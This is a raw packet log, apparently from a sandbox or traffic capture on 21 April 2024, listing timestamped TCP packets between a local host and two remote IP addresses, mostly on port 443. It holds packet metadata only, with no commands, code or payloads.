Apr 21, 2024 15:31:20.953958035 CEST	443	49742	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:20.954190016 CEST	443	49742	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:21.004023075 CEST	49742	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:21.004050016 CEST	49742	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:21.004106045 CEST	443	49742	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:21.332443953 CEST	49743	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:21.332542896 CEST	443	49743	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:21.332628965 CEST	49743	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:21.334851027 CEST	49743	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:21.334882021 CEST	443	49743	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:21.448216915 CEST	49744	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:21.448268890 CEST	443	49744	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:21.448342085 CEST	49744	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:21.449795961 CEST	49744	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:21.449820042 CEST	443	49744	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:21.491631031 CEST	443	49742	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:21.491750956 CEST	443	49742	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:21.491853952 CEST	49742	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:21.492214918 CEST	49742	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:21.492240906 CEST	443	49742	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:21.492258072 CEST	49742	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:21.492264032 CEST	443	49742	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:21.496839046 CEST	49745	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:21.496860981 CEST	443	49745	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:21.496931076 CEST	49745	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:21.497184992 CEST	49745	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:21.497196913 CEST	443	49745	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:21.557276964 CEST	443	49743	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:21.557349920 CEST	49743	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:21.558500051 CEST	49743	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:21.558510065 CEST	443	49743	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:21.558847904 CEST	443	49743	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:21.599652052 CEST	49743	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:21.601720095 CEST	49743	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:21.601720095 CEST	49743	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:21.601900101 CEST	443	49743	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:21.670496941 CEST	443	49744	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:21.670588970 CEST	49744	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:21.671969891 CEST	49744	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:21.671988964 CEST	443	49744	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:21.672339916 CEST	443	49744	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:21.717489958 CEST	443	49745	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:21.717557907 CEST	49745	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:21.719675064 CEST	49745	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:21.719688892 CEST	443	49745	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:21.720076084 CEST	443	49745	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:21.721317053 CEST	49745	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:21.721334934 CEST	49745	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:21.721383095 CEST	443	49745	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:21.724441051 CEST	49744	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:21.724477053 CEST	49744	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:21.724570036 CEST	443	49744	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.145001888 CEST	443	49743	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.145256996 CEST	443	49743	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.145330906 CEST	49743	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.145917892 CEST	49743	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.145963907 CEST	443	49743	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.145996094 CEST	49743	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.146009922 CEST	443	49743	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.151133060 CEST	49746	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.151163101 CEST	443	49746	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.151269913 CEST	49746	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.151633024 CEST	49746	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.151645899 CEST	443	49746	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.224823952 CEST	443	49744	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.224906921 CEST	443	49744	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.224961996 CEST	49744	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.225661993 CEST	49744	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.225683928 CEST	443	49744	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.225704908 CEST	49744	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.225712061 CEST	443	49744	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.230685949 CEST	49747	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.230720997 CEST	443	49747	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.230912924 CEST	49747	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.231262922 CEST	49747	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.231275082 CEST	443	49747	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.273056984 CEST	443	49745	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.273097038 CEST	443	49745	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.273121119 CEST	443	49745	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.273176908 CEST	49745	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.273186922 CEST	443	49745	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.273241997 CEST	443	49745	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.273277044 CEST	49745	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.273288965 CEST	443	49745	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.273336887 CEST	49745	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.273350954 CEST	443	49745	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.273461103 CEST	443	49745	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.273480892 CEST	443	49745	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.273535013 CEST	49745	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.273547888 CEST	443	49745	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.273657084 CEST	49745	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.273813009 CEST	443	49745	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.273857117 CEST	443	49745	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.273936987 CEST	443	49745	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.273996115 CEST	49745	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.274101973 CEST	49745	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.274127007 CEST	443	49745	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.274163008 CEST	49745	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.274175882 CEST	443	49745	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.306567907 CEST	49748	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.306613922 CEST	443	49748	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.306711912 CEST	49748	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.307199955 CEST	49748	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.307219028 CEST	443	49748	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.377504110 CEST	443	49746	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.377618074 CEST	49746	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.379147053 CEST	49746	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.379153967 CEST	443	49746	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.379533052 CEST	443	49746	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.381279945 CEST	49746	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.381313086 CEST	49746	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.381380081 CEST	443	49746	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.455554008 CEST	443	49747	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.455630064 CEST	49747	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.456818104 CEST	49747	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.456835032 CEST	443	49747	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.457192898 CEST	443	49747	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.458755970 CEST	49747	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.458784103 CEST	49747	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.458841085 CEST	443	49747	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.525016069 CEST	443	49748	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.525109053 CEST	49748	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.527699947 CEST	49748	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.527739048 CEST	443	49748	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.527973890 CEST	443	49748	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.529184103 CEST	49748	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.529593945 CEST	49748	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.529644012 CEST	443	49748	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.529723883 CEST	49748	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.529741049 CEST	443	49748	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.937033892 CEST	443	49746	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.937134027 CEST	443	49746	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.937182903 CEST	49746	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.937186956 CEST	443	49746	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.937213898 CEST	443	49746	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.937264919 CEST	443	49746	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.937266111 CEST	49746	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.937280893 CEST	443	49746	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.937319040 CEST	49746	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.937325954 CEST	443	49746	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.937418938 CEST	443	49746	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.937450886 CEST	443	49746	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.937457085 CEST	49746	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.937462091 CEST	443	49746	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.937494993 CEST	49746	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.937793970 CEST	443	49746	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.937923908 CEST	443	49746	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.938034058 CEST	49746	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.938169003 CEST	49746	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.938183069 CEST	443	49746	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.938204050 CEST	49746	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.938209057 CEST	443	49746	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.966607094 CEST	49749	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.966701031 CEST	443	49749	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.966789007 CEST	49749	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.967984915 CEST	49749	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.968014956 CEST	443	49749	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.996479034 CEST	443	49747	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.996531963 CEST	443	49747	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.996567011 CEST	443	49747	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.996608019 CEST	49747	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.996623993 CEST	443	49747	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.996635914 CEST	443	49747	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.996669054 CEST	49747	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.996697903 CEST	443	49747	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.996736050 CEST	443	49747	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.996738911 CEST	49747	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.996747017 CEST	443	49747	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.996773958 CEST	49747	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.996783018 CEST	443	49747	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.996840000 CEST	443	49747	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.996870995 CEST	443	49747	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.996876955 CEST	49747	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.996886969 CEST	443	49747	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.996920109 CEST	49747	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.996928930 CEST	443	49747	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.997035027 CEST	443	49747	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.997211933 CEST	49747	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.997720957 CEST	49747	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.997735023 CEST	443	49747	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:22.997745037 CEST	49747	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:22.997749090 CEST	443	49747	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.026828051 CEST	49750	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.026859999 CEST	443	49750	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.026942968 CEST	49750	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.027298927 CEST	49750	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.027311087 CEST	443	49750	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.064084053 CEST	443	49748	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.064203024 CEST	443	49748	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.064285040 CEST	49748	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.064388990 CEST	49748	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.064428091 CEST	443	49748	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.083148003 CEST	49751	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.083197117 CEST	443	49751	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.083287954 CEST	49751	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.083596945 CEST	49751	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.083615065 CEST	443	49751	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.188144922 CEST	443	49749	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.188246965 CEST	49749	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.189500093 CEST	49749	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.189548969 CEST	443	49749	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.190090895 CEST	443	49749	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.191346884 CEST	49749	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.191508055 CEST	49749	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.191559076 CEST	443	49749	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.191629887 CEST	49749	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.191651106 CEST	443	49749	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.246741056 CEST	443	49750	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.246859074 CEST	49750	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.248068094 CEST	49750	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.248074055 CEST	443	49750	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.248399973 CEST	443	49750	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.249591112 CEST	49750	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.249728918 CEST	49750	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.249759912 CEST	443	49750	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.249818087 CEST	49750	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.249825954 CEST	443	49750	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.301651001 CEST	443	49751	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.301793098 CEST	49751	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.303071976 CEST	49751	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.303092957 CEST	443	49751	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.303306103 CEST	443	49751	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.309614897 CEST	49751	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.309725046 CEST	49751	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.309768915 CEST	443	49751	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.318490028 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:23.559648991 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:23.640388012 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:23.773696899 CEST	443	49749	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.773824930 CEST	443	49749	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.773952961 CEST	49749	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.773952961 CEST	49749	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.785300970 CEST	443	49750	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.785420895 CEST	443	49750	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.785491943 CEST	49750	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.785511017 CEST	49750	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.794297934 CEST	49752	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.794342995 CEST	443	49752	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.794430017 CEST	49752	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.794727087 CEST	49752	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.794737101 CEST	443	49752	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.802323103 CEST	49753	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.802412987 CEST	443	49753	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.802514076 CEST	49753	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.803045988 CEST	49753	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.803078890 CEST	443	49753	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.826339960 CEST	443	49751	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.826442003 CEST	443	49751	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.826512098 CEST	49751	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.826663971 CEST	49751	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.826687098 CEST	443	49751	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.880570889 CEST	49754	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.880620956 CEST	443	49754	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:23.880733013 CEST	49754	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.881087065 CEST	49754	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:23.881099939 CEST	443	49754	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.016546965 CEST	443	49752	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.016741991 CEST	49752	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.018090963 CEST	49752	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.018102884 CEST	443	49752	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.018462896 CEST	443	49752	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.019804955 CEST	49752	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.019933939 CEST	49752	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.019969940 CEST	443	49752	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.021058083 CEST	443	49753	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.021132946 CEST	49753	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.022118092 CEST	49753	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.022129059 CEST	443	49753	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.022483110 CEST	443	49753	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.023510933 CEST	49753	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.023611069 CEST	49753	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.023642063 CEST	443	49753	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.099464893 CEST	443	49754	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.099798918 CEST	49754	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.100971937 CEST	49754	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.100986958 CEST	443	49754	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.101183891 CEST	443	49754	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.102440119 CEST	49754	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.102581978 CEST	49754	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.102611065 CEST	443	49754	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.102679014 CEST	49754	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.102689028 CEST	443	49754	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.565330029 CEST	443	49752	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.565618992 CEST	443	49752	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.565725088 CEST	49752	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.565983057 CEST	49752	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.565996885 CEST	443	49752	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.576775074 CEST	443	49753	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.576916933 CEST	443	49753	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.577158928 CEST	49753	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.588293076 CEST	49753	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.588339090 CEST	443	49753	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.608974934 CEST	49755	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.609055996 CEST	443	49755	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.609131098 CEST	49755	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.609438896 CEST	49755	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.609471083 CEST	443	49755	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.662791014 CEST	49756	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.662837982 CEST	443	49756	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.662997007 CEST	49756	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.663337946 CEST	49756	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.663353920 CEST	443	49756	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.680167913 CEST	443	49754	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.680296898 CEST	443	49754	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.680506945 CEST	49754	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.688692093 CEST	49754	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.688733101 CEST	443	49754	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.760890007 CEST	49757	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.760967970 CEST	443	49757	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.761063099 CEST	49757	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.761343002 CEST	49757	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.761373997 CEST	443	49757	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.830275059 CEST	443	49755	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.830348969 CEST	49755	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.846357107 CEST	49755	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.846374035 CEST	443	49755	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.846760988 CEST	443	49755	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.875861883 CEST	49755	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.876024961 CEST	49755	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.876053095 CEST	443	49755	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.876120090 CEST	49755	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.876128912 CEST	443	49755	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.883270979 CEST	443	49756	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.883579969 CEST	49756	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.932271004 CEST	49756	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.932298899 CEST	443	49756	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.932894945 CEST	443	49756	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.934349060 CEST	49756	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.934434891 CEST	49756	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.934470892 CEST	443	49756	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.934530973 CEST	49756	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.934541941 CEST	443	49756	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.978306055 CEST	443	49757	172.67.189.66	192.168.2.4
